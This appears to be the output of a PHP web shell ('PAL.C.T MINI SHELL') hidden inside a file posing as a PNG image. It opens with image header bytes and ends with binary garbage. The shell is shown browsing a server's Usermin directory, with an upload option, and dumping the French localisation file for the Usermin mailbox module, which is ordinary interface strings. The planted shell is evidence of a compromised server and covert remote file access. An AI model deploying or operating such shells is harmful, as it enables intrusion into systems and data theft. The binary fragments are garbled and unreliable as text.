php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/usermin/mailbox/ulang/
upload
files >> //usr/libexec/usermin/mailbox/ulang/fr

address_add=Ajouter une nouvelle adresse.
address_addr=Adresse Email
address_allow=Adresses autorisées
address_allowdesc=Les adresse e-mails suivantes seront toujours acceptées, et jamais classées comme spam.
address_chooser=Choisir Adresse..
address_delete=Effacer
address_deny=Adresses refusées
address_denydesc=Les adresses e-mails suivantes seront toujours considérées comme du spam, et seront placées dans votre dossier spam ou supprimées.
address_desc=La table suivante liste les adresses que vous pouvez sélectionner comme émetteur quand vous composez un nouveau mail. Ces adresses peuvent être ajoutées en cliquant dessus quand vous consulter un email.
address_eaddr=Adresse Email manquante ou invalide
address_edit=Editer..
address_err=Echec de la sauvegarde de l'adresse
address_from=Adresse émetteur?
address_members=Adresses e-mail
address_name=Nom réel
address_none=Votre carnet d adresse est vide.
address_ok=Chercher
address_title=Carnet d adresse
address_users=Adresses e-mail
address_yd=Oui, defaut
allow_eaddr='$1' n'est pas une adresse e-mail valide
black_already=Cet adresse email $1 est déjà dans la liste des adresses interdites de SpamAssassin.
black_done=Ajouter l'adresse email $1 à la liste des adresses interdites de SpamAssassin.
black_title=Interdire l'émetteur
confirm_ok=Effacer maintenant
confirm_title=Confirmer la suppression
confirm_warn=Etes-vous sur de vouloir supprimer les $1 messages sélectionnés?
confirm_warn2=Compte tenu de la taille et format de votre boite aux lettres, l'opération peut être longue. Jusqu'à ce que la suppression soit complète, aucune autre action ne doit être entreprise.
confirm_warn3=Etes-vous sur de vouloir supprimer le message?
confirm_warn4=Jusqu'à ce que la suppression soit complète, aucune autre action ne doit être entreprise.
delete_emnone=Aucun mail à déplacer selectionné
detach_edir=Fichier ou répertoire pour sauvegarde non renseigné
detach_eopen=Echec à l'ouverture de $1 : $2
detach_err=Echec du détachement
detach_ewrite=Echec à l'écriture de $1 : $2
detach_ok=Ecrire l'attachement sur le serveur comme fichier $1 ($2).
detach_title=Detacher Fichier
edit_file=External mail file or directory
edit_fromaddr=From: address for messages sent from folder
edit_header=Mail folder details
edit_imap=IMAP mailbox
edit_imapinbox=User's inbox
edit_imapother=Other mailbox
edit_iserver=IMAP server
edit_mailbox=IMAP mailbox
edit_mode=Folder type
edit_mode0=File under $1
edit_mode1=External mail file
edit_mode2=Sent mail file
edit_name=Folder name
edit_pass=Password on server
edit_perpage=Messages to display per page
edit_pop3=POP3 account
edit_sent=Sent mail file or directory
edit_sent0=External mail file or directory
edit_sent1=Usermin default
edit_sentview=Show To: address instead of From: ?
edit_server=POP3 server
edit_title1=Create Folder
edit_title2=Edit Folder
edit_type=Storage type
edit_type0=Single file (mbox)
edit_type1=Qmail mail directory (Maildir)
edit_type3=MH directory (MH)
edit_user=Username on server
folder_drafts=Brouillons
folder_inbox=Messages reçus
folder_sent=Messages envoyés
folders_add=Add an existing file or directory as a folder
folders_create=Create a new folder
folders_desc=Each of the folders listed below can contain mail that you move into it, or mail that is placed into it automatically. There are four kinds of folders :<ul><li>System folders like Inbox, Drafts and Sent Mail that always exist<li>Folders under the <tt>$1</tt> directory that can be created or deleted by Usermin<li>Other files or directories that can be managed as folders by Usermin<li>POP3 accounts on other servers that can be treated as folders</ul>
folders_iadd=Add an IMAP mailbox as a folder
folders_maildir=Directory
folders_mbox=File
folders_mhdir=MH directory
folders_name=Folder name
folders_padd=Add a POP3 account as a folder
folders_path=Location
folders_return=folders list
folders_serv=$1 on server $2
folders_size=Size
folders_title=G&#233;rer les dossiers
folders_type=Type
mail_addresses=G&#233;rer le carnet adresse
mail_crypt=GnuPG cryptage pour:
mail_err=Une erreur a eu lieu en listant les mails du dossier : $1
mail_fchange=Modifier
mail_folders=G&#233;rer les dossier
mail_jump=Saut &#224; la page :
mail_login=Login
mail_logindesc=Vous devez entrer un login et mot de passe pour acc&#233;der aux mails<br>du dossier Inbox sur le serveur mail $1.
mail_loginheader=Login serveur POP3
mail_loginmailbox=IMAP mailbox
mail_loginpass=Mot de passe
mail_loginuser=Nom utilisateur
mail_logout=Change POP3 login
mail_logout2=Change IMAP login
mail_move=D&#233;placer vers:
mail_nocrypt=&lt;Ne pas d&#233;crypter&gt;
mail_none=Il n'y a pas de mail dans le dossier $1
mail_nosign=&lt;Ne pas signer&gt;
mail_of=de
mail_pos=Mails $1 &#224; $2 (sur $3) du dossier $4
mail_replyto=R&#233;pondre &#224;
mail_reset=Reset
mail_return=mailbox
mail_samecrypt=&lt;Cl&#233;s pour les adresses destination&gt;
mail_sig=Editer la Signature
mail_sign=Signer avec la cl&#233; GnuPG:
mail_title=Lecture des Mails
razor_done=.. termin&#233;
razor_err=.. &#233;chec! Consultez le message d'erreur ci-dessous pour plus d'info.
razor_report=Reporter ce mail &#224; la base de donn&#233;e anti-spam de SpamAssassin ..
razor_title=Reporter &#224; SpamAssassin
reply_draft=Sauver en Brouillon
reply_spell=V&#233;rifier les erreurs d'orthographe?
save_delete=Delete Now
save_eappend=Failed to add mail to IMAP mailbox : $1
save_ecannot=You are not allowed to use this type of folder
save_eclash=A folder with the same name already exists
save_edelete=Failed to delete mail : $1
save_efile='$1' does not exist or is not accessible
save_efromaddr=Missing or invalid From: address
save_eindir=External mail files cannot be under the folders directory $1
save_elogin=Failed to login to POP3 server : $1
save_elogin2=Failed to login to IMAP server : $1
save_emailbox=Failed to open IMAP mailbox : $1
save_emailbox2=Missing or invalid IMAP mailbox
save_emaildir='$1' does not appear to be a valid Qmail or MH mail directory
save_embox='$1' does not appear to be a valid mailbox file
save_ename=Missing or invalid folder name
save_eperpage=Missing or invalid number of messages per page
save_err=Failed to save folder
save_esearch=Failed to search IMAP mailbox : $1
save_eserver=Missing or invalid POP3 server
save_esys=Folder name clashes with one of the system folders
save_euser=Missing username
save_rusure=Are you sure you want to delete the folder $1 in $2? $3 kB of email will be deleted forever.
save_title=Delete Folder
send_draft=Mail &#224; $1 sauv&#233; dans le dossier Brouillon (drafts).
send_eattachsize=L'attachement au mail d&#233;passe la taille maximum autoris&#233;e de $1 octets
send_ecrypt=Echec du cryptage du message : $1
send_efile=Le fichier attach&#233; $1 ne peut &#234;tre lu ou n'existe pas
send_ekey=Ne pas pas trouver de cl&#233; pour l'adresse email $1
send_eline=Line $1 :
send_epass=Vous ne pouvez pas signer un message cat votre phrase de passeur passphrase has not be setup yet in the GnuPG module.
send_esign=Echec de la signature du message : $1
send_espell=Les erreurs d'orthographe suivante ont &#233;t&#233; trouv&#233; dans votre message ..
send_eword=Mot mal &#233;pel&#233; $1
send_eword2=Mot mal &#233;pel&#233; $1 - Corrections possible $2
view_black=Emetteur non autoris&#233;
view_crypt=D&#233;cryptage mail GnuPG
view_crypt_1=Le message est crypt&#233;, mais le support GnuPG n'est pas install&#233;.
view_crypt_2=Echec du d&#233;cryptage dy message : $1
view_crypt_3=Le mail a &#233;t&#233; d&#233;crypt&#233; avec succ&#233;s.
view_detach=Detacher le fichier:
view_dir=Vers le fichier ou r&#233;pertoire:
view_folder=Retour boite aux lettres
view_gnupg=v&#233;rification signature GnuPG
view_gnupg_0=La signature par $1 est invalide.
view_gnupg_1=La signature par $1 est valide, mais la chaine de confiance n'a pu etre &#233;tablie.
view_gnupg_2=LA signature par $1 n'est <b>PAS</b> valide.
view_gnupg_3=La cl&#233; ID $1 n'est pas dans votre liste, aussi la signature n'a pu &#234;tre v&#233;rifi&#233;e.
view_gnupg_4=Echec de la v&#233;rification de la signature : $1
view_quick_send=Envoyer
view_razor=Report&#233; &#224; Razor
view_recv=<a href='$2'>Fetch key ID $1 from keyserver</a>.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`